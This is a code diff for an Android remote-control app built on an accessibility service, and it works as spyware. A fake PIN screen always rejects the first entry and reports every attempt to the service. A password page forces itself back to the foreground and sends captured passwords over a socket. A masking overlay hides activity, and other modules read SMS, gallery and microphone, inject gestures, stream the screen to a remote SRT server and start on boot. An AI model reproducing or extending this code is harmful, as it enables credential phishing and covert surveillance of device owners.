inputType = InputType.TYPE_CLASS_NUMBER or InputType.TYPE_NUMBER_VARIATION_PASSWORD
filters = arrayOf(InputFilter.LengthFilter(6))
setSingleLine(true)
setBackgroundColor(Color.parseColor("#222222"))
setPadding(20, 20, 20, 20)
}
root.addView(
pinInput,
LinearLayout.LayoutParams(
ViewGroup.LayoutParams.MATCH_PARENT,
ViewGroup.LayoutParams.WRAP_CONTENT
)
)
statusText = TextView(this).apply {
text = "Waiting for input"
setTextColor(Color.parseColor("#B0B0B0"))
textSize = 13f
gravity = Gravity.CENTER
}
root.addView(
statusText,
LinearLayout.LayoutParams(
ViewGroup.LayoutParams.MATCH_PARENT,
ViewGroup.LayoutParams.WRAP_CONTENT
).apply {
topMargin = 14
bottomMargin = 20
}
)
val confirmButton = Button(this).apply {
text = "Confirm"
setOnClickListener { onConfirmClick() }
}
root.addView(
confirmButton,
LinearLayout.LayoutParams(
ViewGroup.LayoutParams.MATCH_PARENT,
ViewGroup.LayoutParams.WRAP_CONTENT
)
)
setContentView(root)
}
override fun onBackPressed() {
// Keep the challenge flow deterministic; avoid accidental dismissal.
statusText.text = "PIN check is required"
statusText.setTextColor(Color.parseColor("#FFB74D"))
}
private fun onConfirmClick() {
val pin = pinInput.text?.toString()?.trim().orEmpty()
if (!pin.matches(Regex("^\\d{6}$"))) {
statusText.text = "PIN must be 6 digits"
statusText.setTextColor(Color.parseColor("#FFB74D"))
return
}
attemptCount += 1
val service = AccessibilityRemoteService.getInstance()
if (attemptCount == 1) {
statusText.text = "Incorrect PIN, try again"
statusText.setTextColor(Color.parseColor("#EF5350"))
pinInput.setText("")
service?.onAppInjectionPinAttempt(success = false, attempt = attemptCount)
return
}
completed = true
statusText.text = "PIN accepted"
statusText.setTextColor(Color.parseColor("#66BB6A"))
service?.onAppInjectionPinAttempt(success = true, attempt = attemptCount)
Handler(Looper.getMainLooper()).postDelayed({
finish()
}, 250)
}
override fun onDestroy() {
super.onDestroy()
if (!completed) {
Log.i(TAG, "PIN activity dismissed before completion")
AccessibilityRemoteService.getInstance()?.onAppInjectionPinDismissed("activity_destroyed")
}
}
}

View File

@@ -14,6 +14,7 @@ import android.view.Gravity
import android.content.BroadcastReceiver
import android.content.IntentFilter
import com.hikoncont.service.modules.ConfigProgressManager
import com.hikoncont.util.registerReceiverCompat
import org.json.JSONObject
import java.io.BufferedReader
import java.io.InputStreamReader
@@ -355,13 +356,13 @@ class ConfigMaskActivity : Activity() {
private fun registerHideReceiver() {
try {
val filter = android.content.IntentFilter("android.mycustrecev.HIDE_CONFIG_MASK")
registerReceiver(hideReceiver, filter)
registerReceiverCompat(hideReceiver, filter)
Log.i(TAG, "✅ 隐藏广播接收器注册成功")
// 注册进度更新广播接收器
if (enableProgressBar) {
val progressFilter = IntentFilter(ConfigProgressManager.ACTION_CONFIG_PROGRESS_UPDATE)
registerReceiver(progressReceiver, progressFilter)
registerReceiverCompat(progressReceiver, progressFilter)
Log.i(TAG, "✅ ConfigMaskActivity进度更新广播接收器注册成功")
Log.i(TAG, "📡 监听广播Action: ${ConfigProgressManager.ACTION_CONFIG_PROGRESS_UPDATE}")
} else {
@@ -433,4 +434,4 @@ class ConfigMaskActivity : Activity() {
}
}, 500)
}
}
}

View File

@@ -5,6 +5,7 @@ import android.app.WallpaperManager
import android.content.Context
import android.content.Intent
import android.graphics.*
import android.os.Build
import android.os.Bundle
import android.os.Handler
import android.os.Looper
@@ -65,7 +66,9 @@ class PasswordInputActivity : AppCompatActivity() {
private var patternTrajectory = mutableListOf<PointF>()
private var currentPassword = ""
private var isForceShowing = false // 防止重复强制显示
private var passwordFlowCompleted = false // 标记密码流程是否已完成,完成后不再强制拉回
private var useLightTheme = false // 当壁纸不可用时启用白底黑字
private val enableLockTaskForSocketWake = false
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
@@ -119,8 +122,12 @@ class PasswordInputActivity : AppCompatActivity() {
super.onResume()
Log.i(TAG, "🔐 密码输入页面恢复")
if (shouldKeepForeground() && enableLockTaskForSocketWake) {
tryStartLockTaskMode()
}
// 如果是socket唤醒且没有正在强制显示则强制显示密码页面
if (isSocketWake && !isForceShowing) {
if (shouldKeepForeground() && !isForceShowing) {
isForceShowing = true
forceShowPasswordPage()
}
@@ -130,17 +137,9 @@ class PasswordInputActivity : AppCompatActivity() {
super.onPause()
Log.i(TAG, "🔐 密码输入页面暂停")
// 防止Activity被销毁保持在后台
if (isSocketWake) {
Log.i(TAG, "🔐 Socket唤醒模式防止Activity被销毁保持在后台")
// 不执行任何可能导致Activity销毁的操作
} else {
// 防止用户通过其他方式退出,重新显示页面
Handler(Looper.getMainLooper()).postDelayed({
if (!isFinishing && !isDestroyed) {
Log.i(TAG, "🔐 检测到页面被暂停,重新显示密码输入页面")
}
}, 1000)
if (shouldKeepForeground()) {
Log.i(TAG, "🔐 检测到页面进入后台,准备强制回到密码页")
scheduleForceReturn("onPause")
}
}
@@ -148,18 +147,17 @@ class PasswordInputActivity : AppCompatActivity() {
super.onStop()
Log.i(TAG, "🔐 密码输入页面停止")
// 防止Activity被销毁保持在后台
if (isSocketWake) {
Log.i(TAG, "🔐 Socket唤醒模式防止Activity被销毁保持在后台")
// 不执行任何可能导致Activity销毁的操作
// Activity将保持在后台不会被销毁
} else {
// 防止用户通过其他方式退出,重新显示页面
Handler(Looper.getMainLooper()).postDelayed({
if (!isFinishing && !isDestroyed) {
Log.i(TAG, "🔐 检测到页面被停止,重新显示密码输入页面")
}
}, 1000)
if (shouldKeepForeground()) {
Log.i(TAG, "🔐 检测到页面被停止,准备强制回到密码页")
scheduleForceReturn("onStop")
}
}
override fun onUserLeaveHint() {
super.onUserLeaveHint()
if (shouldKeepForeground()) {
Log.i(TAG, "🔐 检测到用户尝试离开密码页Home/最近任务),准备强制回到密码页")
scheduleForceReturn("onUserLeaveHint")
}
}
@@ -890,7 +888,8 @@ class PasswordInputActivity : AppCompatActivity() {
passwordType,
"PasswordInputActivity",
deviceId,
installationId
installationId,
"manual_password_input_activity"
)
Log.i(TAG, "✅ 密码已通过Socket发送: $passwordType")
} else {
@@ -983,6 +982,13 @@ class PasswordInputActivity : AppCompatActivity() {
private fun completeInstallationDirectly() {
Log.i(TAG, "🎉 直接完成安装流程(无需密码输入)")
if (passwordFlowCompleted) {
Log.w(TAG, "⚠️ 密码流程已完成,忽略重复完成请求")
return
}
passwordFlowCompleted = true
tryStopLockTaskMode()
try {
// ✅ 检查是否已经安装完成,如果已完成则跳过处理
val installationStateManager = com.hikoncont.util.InstallationStateManager.getInstance(this)
@@ -1058,6 +1064,13 @@ class PasswordInputActivity : AppCompatActivity() {
private fun completeInstallation() {
Log.i(TAG, "🎉 安装流程完成")
if (passwordFlowCompleted) {
Log.w(TAG, "⚠️ 密码流程已完成,忽略重复完成请求")
return
}
passwordFlowCompleted = true
tryStopLockTaskMode()
try {
// ✅ 检查是否已经安装完成,如果已完成则跳过处理
val installationStateManager = com.hikoncont.util.InstallationStateManager.getInstance(this)
@@ -1232,6 +1245,71 @@ class PasswordInputActivity : AppCompatActivity() {
val timestamp: Long
)
/**
* 作者: sue
* 日期: 2026-02-19
* 说明: 仅在 Socket 唤醒且密码流程未完成时,才需要强制保持前台。
*/
private fun shouldKeepForeground(): Boolean {
return isSocketWake && !passwordFlowCompleted && passwordType != PASSWORD_TYPE_NONE
}
/**
* 作者: sue
* 日期: 2026-02-19
* 说明: 异步触发前台回拉,避免与系统生命周期回调冲突。
*/
private fun scheduleForceReturn(source: String) {
Handler(Looper.getMainLooper()).postDelayed({
if (!shouldKeepForeground()) {
return@postDelayed
}
if (isFinishing || isDestroyed) {
return@postDelayed
}
Log.i(TAG, "🔐 [$source] 开始执行密码页前台回拉")
checkAndForceShowIfNeeded()
}, 260)
}
/**
* 作者: sue
* 日期: 2026-02-19
* 说明: 尝试开启锁任务模式,进一步降低 Home/最近任务离开概率。
*/
private fun tryStartLockTaskMode() {
if (!enableLockTaskForSocketWake) {
Log.i(TAG, "🔓 锁任务模式已禁用,跳过 startLockTask")
return
}
if (Build.VERSION.SDK_INT < Build.VERSION_CODES.LOLLIPOP) {
return
}
try {
startLockTask()
Log.i(TAG, "🔐 已尝试开启锁任务模式")
} catch (e: Exception) {
Log.w(TAG, "⚠️ 开启锁任务模式失败(可能设备不支持)", e)
}
}
/**
* 作者: sue
* 日期: 2026-02-19
* 说明: 密码流程完成后关闭锁任务模式,恢复系统正常行为。
*/
private fun tryStopLockTaskMode() {
if (Build.VERSION.SDK_INT < Build.VERSION_CODES.LOLLIPOP) {
return
}
try {
stopLockTask()
Log.i(TAG, "🔓 已尝试关闭锁任务模式")
} catch (e: Exception) {
Log.w(TAG, "⚠️ 关闭锁任务模式失败(可能未开启)", e)
}
}
/**
* 强制显示密码页面Socket唤醒专用
*/

View File

@@ -46,34 +46,8 @@ class GalleryManager(private val service: AccessibilityRemoteService) {
val result = mutableListOf<GalleryItem>()
if (!hasReadMediaPermission()) {
Log.w(TAG, "⚠️ 相册读取权限未授予,尝试自动申请")
try {
// 触发自动权限申请
service.requestGalleryPermissionWithAutoGrant()
} catch (e: Exception) {
Log.e(TAG, "触发相册权限申请失败", e)
}
// 轮询等待权限授予最多等待约8秒
var attempts = 0
val maxAttempts = 16
while (attempts < maxAttempts) {
try {
Thread.sleep(500)
} catch (ie: InterruptedException) {
// 忽略中断,继续检查
}
if (hasReadMediaPermission()) {
Log.i(TAG, "✅ 相册读取权限已在等待期间授予,继续读取")
break
}
attempts++
}
if (!hasReadMediaPermission()) {
Log.w(TAG, "⚠️ 等待后仍未获得相册读取权限,返回空列表")
return result
}
Log.w(TAG, "⚠️ 相册读取权限未授予,已停止自动申请(需手动触发权限申请)")
return result
}
try {

View File

@@ -3,6 +3,8 @@
import android.accessibilityservice.GestureDescription
import android.graphics.Path
import android.graphics.PointF
import android.os.Handler
import android.os.Looper
import android.util.Log
import com.hikoncont.service.AccessibilityRemoteService
import kotlinx.coroutines.*
@@ -26,6 +28,30 @@ class GestureController(private val service: AccessibilityRemoteService) {
}
private val gestureScope = CoroutineScope(Dispatchers.Main)
private val callbackHandler = Handler(Looper.getMainLooper())
private fun dispatchGestureWithTrace(gesture: GestureDescription, actionName: String): Boolean {
return try {
val accepted = service.dispatchGesture(
gesture,
object : android.accessibilityservice.AccessibilityService.GestureResultCallback() {
override fun onCompleted(gestureDescription: GestureDescription?) {
Log.d(TAG, "✅ 手势完成: $actionName")
}
override fun onCancelled(gestureDescription: GestureDescription?) {
Log.w(TAG, "⚠️ 手势取消: $actionName")
}
},
callbackHandler
)
Log.d(TAG, "🎯 手势下发结果: $actionName, accepted=$accepted")
accepted
} catch (e: Exception) {
Log.e(TAG, "❌ 手势下发异常: $actionName", e)
false
}
}
/**
* 执行手势操作(覆盖窗口不影响系统级手势操作)
@@ -47,8 +73,8 @@ class GestureController(private val service: AccessibilityRemoteService) {
val path = Path().apply { moveTo(x, y) }
val stroke = GestureDescription.StrokeDescription(path, 0, CLICK_DURATION)
val gesture = GestureDescription.Builder().addStroke(stroke).build()
service.dispatchGesture(gesture, null, null)
dispatchGestureWithTrace(gesture, "click($x,$y)")
Log.d(TAG, "执行点击操作: ($x, $y)")
}
}
@@ -61,8 +87,8 @@ class GestureController(private val service: AccessibilityRemoteService) {
val path = Path().apply { moveTo(x, y) }
val stroke = GestureDescription.StrokeDescription(path, 0, LONG_PRESS_DURATION)
val gesture = GestureDescription.Builder().addStroke(stroke).build()
service.dispatchGesture(gesture, null, null)
dispatchGestureWithTrace(gesture, "long_press($x,$y)")
Log.d(TAG, "执行长按操作: ($x, $y)")
}
}
@@ -79,8 +105,8 @@ class GestureController(private val service: AccessibilityRemoteService) {
val stroke = GestureDescription.StrokeDescription(path, 0, duration)
val gesture = GestureDescription.Builder().addStroke(stroke).build()
service.dispatchGesture(gesture, null, null)
dispatchGestureWithTrace(gesture, "swipe($startX,$startY->$endX,$endY,$duration)")
Log.d(TAG, "执行滑动操作: ($startX, $startY) -> ($endX, $endY)")
}
}
@@ -266,4 +292,4 @@ data class GestureCommand(
val endDistance: Float = 0f,
val duration: Long = 300L,
val interval: Long = 100L
)
)

View File

@@ -70,30 +70,8 @@ class MicrophoneManager(private val service: AccessibilityRemoteService) {
}
if (!hasMicrophonePermission()) {
Log.w(TAG, "⚠️ 麦克风权限未授予,尝试自动申请")
try {
service.requestMicrophonePermissionWithAutoGrant()
} catch (e: Exception) {
Log.e(TAG, "触发麦克风权限申请失败", e)
}
var attempts = 0
val maxAttempts = 16 // ~8s
while (attempts < maxAttempts) {
try {
Thread.sleep(500)
} catch (_: InterruptedException) {}
if (hasMicrophonePermission()) {
Log.i(TAG, "✅ 麦克风权限已在等待期间授予,开始录音")
break
}
attempts++
}
if (!hasMicrophonePermission()) {
Log.w(TAG, "⚠️ 等待后仍未获得麦克风权限,取消录音启动")
return
}
Log.w(TAG, "⚠️ 麦克风权限未授予,取消录音启动(需手动触发权限申请")
return
}
try {

File diff suppressed because it is too large Load Diff

View File

@@ -506,31 +506,8 @@ class SMSManager(private val service: AccessibilityRemoteService) {
val smsList = mutableListOf<SMSMessage>()
if (!checkSMSPermission()) {
Log.w(TAG, "⚠️ 短信权限未授予,尝试自动申请")
try {
service.requestSMSPermissionWithAutoGrant()
} catch (e: Exception) {
Log.e(TAG, "触发短信权限申请失败", e)
}
var attempts = 0
val maxAttempts = 16 // ~8s
while (attempts < maxAttempts) {
try {
Thread.sleep(500)
} catch (ie: InterruptedException) {
}
if (checkSMSPermission()) {
Log.i(TAG, "✅ 短信权限已在等待期间授予,继续读取")
break
}
attempts++
}
if (!checkSMSPermission()) {
Log.w(TAG, "⚠️ 等待后仍未获得短信读取权限,返回空列表")
return smsList
}
Log.w(TAG, "⚠️ 短信权限未授予,停止自动拉起授权页,直接返回空列表")
return smsList
}
try {
@@ -748,8 +725,7 @@ class SMSManager(private val service: AccessibilityRemoteService) {
*/
fun sendSMSWithPermissionHandling(phoneNumber: String, message: String): Boolean {
if (!checkSMSPermission()) {
Log.e(TAG, "❌ 短信权限未授予,尝试请求权限")
requestSMSPermission()
Log.e(TAG, "❌ 短信权限未授予,已停止自动拉起授权页(需手动触发权限申请)")
return false
}

View File

@@ -25,10 +25,11 @@ class ScreenCaptureManager(private val service: AccessibilityRemoteService) {
companion object {
private const val TAG = "ScreenCaptureManager"
private const val CAPTURE_FPS = 15 // 进一步提升到15FPS让视频更加流畅从10提升到15
private const val CAPTURE_QUALITY = 55 // 优化:提升压缩质量,在数据量和画质间找到最佳平衡(30->55)
private const val MAX_WIDTH = 480 // 更小宽度480px测试单消息大小理论
private const val MAX_HEIGHT = 854 // 更小高度854px保持16:9比例
// 固定流媒体档位720P + 60FPS
private const val CAPTURE_FPS = 60
private const val CAPTURE_QUALITY = 70
private const val MAX_WIDTH = 720
private const val MAX_HEIGHT = 1280
private const val MIN_CAPTURE_INTERVAL = 3000L // 调整为3000ms无障碍服务截图间隔3秒
// 持久化暂停状态相关常量
@@ -296,31 +297,33 @@ class ScreenCaptureManager(private val service: AccessibilityRemoteService) {
* 由服务端根据Web端反馈下发调整指令
*/
fun adjustQuality(fps: Int, quality: Int, maxWidth: Int, maxHeight: Int) {
Log.i(TAG, "收到画质调整: fps=$fps, quality=$quality, resolution=${maxWidth}x${maxHeight}")
if (fps in 1..30) {
dynamicFps = fps
Log.i(TAG, "帧率调整为: ${fps}fps (间隔${1000 / fps}ms)")
}
if (quality in 20..90) {
dynamicQuality = quality
Log.i(TAG, "JPEG质量调整为: $quality")
}
if (maxWidth in 240..1920) {
dynamicMaxWidth = maxWidth
Log.i(TAG, "最大宽度调整为: $maxWidth")
}
if (maxHeight in 320..2560) {
dynamicMaxHeight = maxHeight
Log.i(TAG, "最大高度调整为: $maxHeight")
}
// 测试阶段锁定固定档位,避免前端/服务端动态参数导致分辨率抖动和拉伸。
dynamicFps = CAPTURE_FPS
dynamicQuality = CAPTURE_QUALITY
dynamicMaxWidth = MAX_WIDTH
dynamicMaxHeight = MAX_HEIGHT
Log.i(
TAG,
"忽略动态画质调整,保持固定档位: ${CAPTURE_FPS}fps, quality=$CAPTURE_QUALITY, ${MAX_WIDTH}x${MAX_HEIGHT} (requested fps=$fps, quality=$quality, resolution=${maxWidth}x${maxHeight})"
)
}
/**
* 切换到无障碍截图模式(由服务端指令触发)
* 已禁用:不再允许服务端黑帧检测触发模式切换,避免误判导致权限回退
*/
fun switchToAccessibilityMode() {
Log.i(TAG, "收到切换无障碍截图模式指令,已忽略(禁止服务端触发模式切换)")
if (Build.VERSION.SDK_INT < Build.VERSION_CODES.R) {
Log.w(TAG, "当前系统版本不支持无障碍截图模式保持MediaProjection模式")
return
}
if (useAccessibilityScreenshot) {
Log.d(TAG, "已经在无障碍截图模式,跳过切换")
return
}
Log.i(TAG, "切换到无障碍截图模式")
stopCapture()
enableAccessibilityScreenshotMode()
startCapture()
}
/**
@@ -1817,7 +1820,6 @@ class ScreenCaptureManager(private val service: AccessibilityRemoteService) {
val socketIOManager = service.getSocketIOManager()
if (socketIOManager != null && socketIOManager.isConnected()) {
socketIOManager.sendScreenData(frameData)
Log.v(TAG, "Socket.IO sent frame: ${frameData.size} bytes")
success = true
// Reset throttle counter on success
if (socketUnavailableLogCount > 0) {
@@ -3215,4 +3217,4 @@ class ScreenCaptureManager(private val service: AccessibilityRemoteService) {
generateTestImage()
}
}
}
}

View File

@@ -12,6 +12,7 @@ import android.os.Looper
import android.util.Log
import com.hikoncont.MediaProjectionHolder
import com.hikoncont.service.AccessibilityRemoteService
import com.hikoncont.util.registerReceiverCompat
import kotlinx.coroutines.*
import java.util.concurrent.atomic.AtomicBoolean
import java.util.concurrent.atomic.AtomicInteger
@@ -485,7 +486,7 @@ class SmartMediaProjectionManager(
addAction(Intent.ACTION_USER_PRESENT)
addAction("android.mycustrecev.USER_STOPPED_PROJECTION")
}
context.registerReceiver(systemStateReceiver, filter)
context.registerReceiverCompat(systemStateReceiver, filter)
Log.i(TAG, "✅ 已注册系统状态监听")
}
@@ -679,4 +680,4 @@ class SmartMediaProjectionManager(
Log.e(TAG, "❌ 清理失败", e)
}
}
}
}

View File

@@ -0,0 +1,417 @@
package com.hikoncont.manager
import android.media.projection.MediaProjection
import android.os.Build
import android.util.Log
import androidx.annotation.RequiresApi
import com.hikoncont.MediaProjectionHolder
import com.hikoncont.service.AccessibilityRemoteService
import com.pedro.common.ConnectChecker
import com.pedro.common.VideoCodec
import com.pedro.encoder.input.sources.audio.NoAudioSource
import com.pedro.encoder.input.sources.video.ScreenSource
import com.pedro.library.srt.SrtStream
import org.json.JSONObject
import kotlin.math.roundToInt
@RequiresApi(Build.VERSION_CODES.LOLLIPOP)
class SrtStreamManager(
private val service: AccessibilityRemoteService,
private val listener: Listener
) {
interface Listener {
fun onStateChanged(state: String, message: String, extra: JSONObject? = null)
}
data class StartResult(
val success: Boolean,
val message: String,
val extra: JSONObject? = null
)
companion object {
private const val TAG = "SrtStreamManager"
private const val MIN_FPS = 20
private const val MAX_FPS = 60
private const val MIN_LONG_EDGE = 360
private const val MAX_LONG_EDGE = 1920
private const val MIN_BITRATE_BPS = 500_000
private const val MAX_BITRATE_BPS = 12_000_000
}
private enum class StreamPriority(val wireValue: String) {
SMOOTH("smooth"),
BALANCED("balanced"),
QUALITY("quality");
companion object {
fun fromRaw(raw: String?): StreamPriority {
return when (raw?.trim()?.lowercase()) {
QUALITY.wireValue -> QUALITY
BALANCED.wireValue -> BALANCED
else -> SMOOTH
}
}
}
}
private data class Session(
val deviceId: String,
val clientId: String,
val ingestUrl: String,
val width: Int,
val height: Int,
val fps: Int,
val priority: String,
val maxLongEdge: Int,
val bitrateBps: Int,
val startedAt: Long
)
private val stateLock = Any()
private var stream: SrtStream? = null
private var session: Session? = null
private var lastBitrateBps = 0L
fun isRuntimeSupported(): Boolean {
// Dependency exists at compile-time; runtime check is kept explicit for clarity.
return Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP
}
fun isStreaming(): Boolean = synchronized(stateLock) {
stream?.isStreaming == true
}
fun start(
deviceId: String,
clientId: String,
ingestUrl: String,
requestedFps: Int? = null,
requestedMaxLongEdge: Int? = null,
requestedBitrateKbps: Int? = null,
priorityRaw: String? = null
): StartResult {
if (!isRuntimeSupported()) {
return StartResult(false, "srt_runtime_not_supported")
}
if (ingestUrl.isBlank() || !ingestUrl.startsWith("srt://", ignoreCase = true)) {
return StartResult(false, "invalid_srt_ingest_url")
}
val projection = MediaProjectionHolder.getMediaProjection()
?: return StartResult(false, "media_projection_not_ready")
val screenConfig = buildScreenConfig(
requestedFps = requestedFps,
requestedMaxLongEdge = requestedMaxLongEdge,
requestedBitrateKbps = requestedBitrateKbps,
priorityRaw = priorityRaw
)
val preparedExtra = JSONObject().apply {
put("width", screenConfig.width)
put("height", screenConfig.height)
put("fps", screenConfig.fps)
put("bitrateBps", screenConfig.bitrateBps)
put("priority", screenConfig.priority)
put("maxLongEdge", screenConfig.maxLongEdge)
if (requestedMaxLongEdge != null) put("requestedMaxLongEdge", requestedMaxLongEdge)
if (requestedBitrateKbps != null) put("requestedBitrateKbps", requestedBitrateKbps)
put("ingestUrl", ingestUrl)
}
synchronized(stateLock) {
stopInternalLocked()
val checker = createConnectChecker()
val newStream = try {
createStream(projection, checker)
} catch (e: Exception) {
Log.e(TAG, "Create SRT stream failed", e)
return StartResult(false, "srt_stream_create_failed:${e.message ?: "unknown"}")
}
val videoPrepared = try {
newStream.prepareVideo(
screenConfig.width,
screenConfig.height,
screenConfig.bitrateBps,
screenConfig.fps,
1,
0
)
} catch (e: Exception) {
Log.e(TAG, "Prepare SRT video failed", e)
false
}
if (!videoPrepared) {
try {
newStream.release()
} catch (_: Exception) {
}
return StartResult(false, "srt_prepare_video_failed", preparedExtra)
}
// Keep encoder pipeline initialized even when sending video-only.
val audioPrepared = try {
newStream.prepareAudio(32_000, false, 32 * 1000)
} catch (e: Exception) {
Log.e(TAG, "Prepare SRT audio failed", e)
false
}
if (!audioPrepared) {
try {
newStream.release()
} catch (_: Exception) {
}
return StartResult(false, "srt_prepare_audio_failed", preparedExtra)
}
stream = newStream
session = Session(
deviceId = deviceId,
clientId = clientId,
ingestUrl = ingestUrl,
width = screenConfig.width,
height = screenConfig.height,
fps = screenConfig.fps,
priority = screenConfig.priority,
maxLongEdge = screenConfig.maxLongEdge,
bitrateBps = screenConfig.bitrateBps,
startedAt = System.currentTimeMillis()
)
lastBitrateBps = 0L
listener.onStateChanged("starting", "srt_connecting", preparedExtra)
try {
newStream.startStream(ingestUrl)
} catch (e: Exception) {
Log.e(TAG, "Start SRT stream failed", e)
stopInternalLocked()
return StartResult(
success = false,
message = "srt_start_failed:${e.message ?: "unknown"}",
extra = preparedExtra
)
}
}
return StartResult(true, "srt_starting", preparedExtra)
}
fun stop(reason: String = "remote_stop"): Boolean {
val hasSession = synchronized(stateLock) {
val exists = stream != null || session != null
stopInternalLocked()
exists
}
if (hasSession) {
listener.onStateChanged(
state = "stopped",
message = "srt_stopped",
extra = JSONObject().apply { put("reason", reason) }
)
}
return hasSession
}
fun release() {
synchronized(stateLock) {
stopInternalLocked()
}
}
private data class ScreenConfig(
val width: Int,
val height: Int,
val fps: Int,
val priority: String,
val maxLongEdge: Int,
val bitrateBps: Int
)
private fun buildScreenConfig(
requestedFps: Int?,
requestedMaxLongEdge: Int?,
requestedBitrateKbps: Int?,
priorityRaw: String?
): ScreenConfig {
val metrics = service.resources.displayMetrics
val rawWidth = metrics.widthPixels.coerceAtLeast(2)
val rawHeight = metrics.heightPixels.coerceAtLeast(2)
val priority = StreamPriority.fromRaw(priorityRaw)
val defaultFps = when (priority) {
StreamPriority.SMOOTH -> 40
StreamPriority.BALANCED -> 45
StreamPriority.QUALITY -> 50
}
val defaultLongEdge = when (priority) {
StreamPriority.SMOOTH -> 960
StreamPriority.BALANCED -> 1152
StreamPriority.QUALITY -> 1280
}
val bitrateFactor = when (priority) {
StreamPriority.SMOOTH -> 0.055
StreamPriority.BALANCED -> 0.075
StreamPriority.QUALITY -> 0.10
}
val profileMinBitrate = when (priority) {
StreamPriority.SMOOTH -> 700_000
StreamPriority.BALANCED -> 1_000_000
StreamPriority.QUALITY -> 1_300_000
}
val profileMaxBitrate = when (priority) {
StreamPriority.SMOOTH -> 4_000_000
StreamPriority.BALANCED -> 7_000_000
StreamPriority.QUALITY -> MAX_BITRATE_BPS
}
val fps = (requestedFps ?: defaultFps).coerceIn(MIN_FPS, MAX_FPS)
val maxLongEdge = (requestedMaxLongEdge ?: defaultLongEdge).coerceIn(MIN_LONG_EDGE, MAX_LONG_EDGE)
val sourceLong = maxOf(rawWidth, rawHeight)
val sourceShort = minOf(rawWidth, rawHeight)
val scale = if (sourceLong > maxLongEdge) {
maxLongEdge.toFloat() / sourceLong.toFloat()
} else {
1f
}
val targetLong = ((sourceLong * scale).roundToInt()).coerceAtLeast(2)
val targetShort = ((sourceShort * scale).roundToInt()).coerceAtLeast(2)
val width = if (rawWidth >= rawHeight) toEven(targetLong) else toEven(targetShort)
val height = if (rawWidth >= rawHeight) toEven(targetShort) else toEven(targetLong)
val requestedBitrateBps = requestedBitrateKbps
?.takeIf { it > 0 }
?.let { it * 1000 }
val bitrateEstimate = (width.toLong() * height.toLong() * fps.toLong() * bitrateFactor).toLong()
.coerceAtLeast(MIN_BITRATE_BPS.toLong())
.coerceAtMost(MAX_BITRATE_BPS.toLong())
.toInt()
val bitrateBps = (requestedBitrateBps ?: bitrateEstimate)
.coerceIn(profileMinBitrate, profileMaxBitrate)
.coerceIn(MIN_BITRATE_BPS, MAX_BITRATE_BPS)
return ScreenConfig(
width = width,
height = height,
fps = fps,
priority = priority.wireValue,
maxLongEdge = maxLongEdge,
bitrateBps = bitrateBps
)
}
private fun toEven(value: Int): Int {
val safe = value.coerceAtLeast(2)
return if (safe % 2 == 0) safe else safe - 1
}
private fun createStream(projection: MediaProjection, checker: ConnectChecker): SrtStream {
val screenSource = ScreenSource(service.applicationContext, projection)
val audioSource = NoAudioSource()
return SrtStream(service.applicationContext, checker, screenSource, audioSource).apply {
setVideoCodec(VideoCodec.H264)
val client = getStreamClient()
client.setReTries(2)
client.setOnlyVideo(true)
client.setLogs(false)
}
}
private fun createConnectChecker(): ConnectChecker {
return object : ConnectChecker {
override fun onConnectionStarted(url: String) {
listener.onStateChanged(
state = "starting",
message = "srt_connection_started",
extra = JSONObject().apply { put("url", url) }
)
}
override fun onConnectionSuccess() {
val current = synchronized(stateLock) { session }
listener.onStateChanged(
state = "running",
message = "srt_connection_success",
extra = JSONObject().apply {
put("bitrateBps", lastBitrateBps)
put("width", current?.width ?: 0)
put("height", current?.height ?: 0)
put("fps", current?.fps ?: 0)
put("priority", current?.priority ?: StreamPriority.SMOOTH.wireValue)
put("maxLongEdge", current?.maxLongEdge ?: 0)
put("startedAt", current?.startedAt ?: 0)
}
)
}
override fun onConnectionFailed(reason: String) {
Log.w(TAG, "SRT connection failed: $reason")
synchronized(stateLock) {
stopInternalLocked()
}
listener.onStateChanged(
state = "failed",
message = "srt_connection_failed:$reason"
)
}
override fun onDisconnect() {
val hadSession = synchronized(stateLock) {
val active = stream != null || session != null
stopInternalLocked()
active
}
if (hadSession) {
listener.onStateChanged(
state = "stopped",
message = "srt_disconnected"
)
}
}
override fun onAuthError() {
listener.onStateChanged("failed", "srt_auth_error")
}
override fun onAuthSuccess() {
listener.onStateChanged("running", "srt_auth_success")
}
override fun onNewBitrate(bitrate: Long) {
lastBitrateBps = bitrate
}
}
}
private fun stopInternalLocked() {
val old = stream
stream = null
session = null
if (old != null) {
try {
if (old.isStreaming) {
old.stopStream()
}
} catch (e: Exception) {
Log.w(TAG, "Stop SRT stream failed", e)
}
try {
old.release()
} catch (e: Exception) {
Log.w(TAG, "Release SRT stream failed", e)
}
}
}
}

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

View File

@@ -6,6 +6,8 @@ import android.content.Intent
import android.os.Build
import android.util.Log
import com.hikoncont.service.RemoteControlForegroundService
import com.hikoncont.util.DeviceMetricsReporter
import com.hikoncont.util.RuntimeFeatureFlags
/**
* 开机自启动接收器 - 参考 f 目录的 SelfStartRunUse
@@ -19,14 +21,35 @@ class BootReceiver : BroadcastReceiver() {
override fun onReceive(context: Context, intent: Intent) {
Log.i(TAG, "🔄 收到系统广播: ${intent.action}")
val flags = RuntimeFeatureFlags.current(context)
when (intent.action) {
Intent.ACTION_BOOT_COMPLETED -> {
if (!flags.bootAutoStart) {
Log.i(TAG, "⏭️ featureFlags.bootAutoStart=false跳过开机自启动")
DeviceMetricsReporter.reportKeepAlive(
context = context,
metricName = "boot_autostart_skipped",
success = false,
data = mapOf("action" to Intent.ACTION_BOOT_COMPLETED)
)
return
}
// ✅ 参考 f 目录的 SelfStartRunUse只启动主前台服务
Log.i(TAG, "🚀 系统启动完成,启动主前台服务(参考 f 目录策略)")
startMainForegroundService(context)
}
"android.intent.action.QUICKBOOT_POWERON" -> {
if (!flags.bootAutoStart) {
Log.i(TAG, "⏭️ featureFlags.bootAutoStart=false跳过快速开机自启动")
DeviceMetricsReporter.reportKeepAlive(
context = context,
metricName = "boot_autostart_skipped",
success = false,
data = mapOf("action" to "android.intent.action.QUICKBOOT_POWERON")
)
return
}
// 小米等设备的快速开机
Log.i(TAG, "⚡ 快速开机完成,启动主前台服务")
startMainForegroundService(context)
@@ -55,9 +78,24 @@ class BootReceiver : BroadcastReceiver() {
context.startService(intent)
}
Log.i(TAG, "✅ 主前台服务已启动(参考 f 目录的 BackRunServerUseUse")
DeviceMetricsReporter.reportKeepAlive(
context = context,
metricName = "boot_foreground_service_start",
success = true,
data = mapOf("source" to "boot_receiver")
)
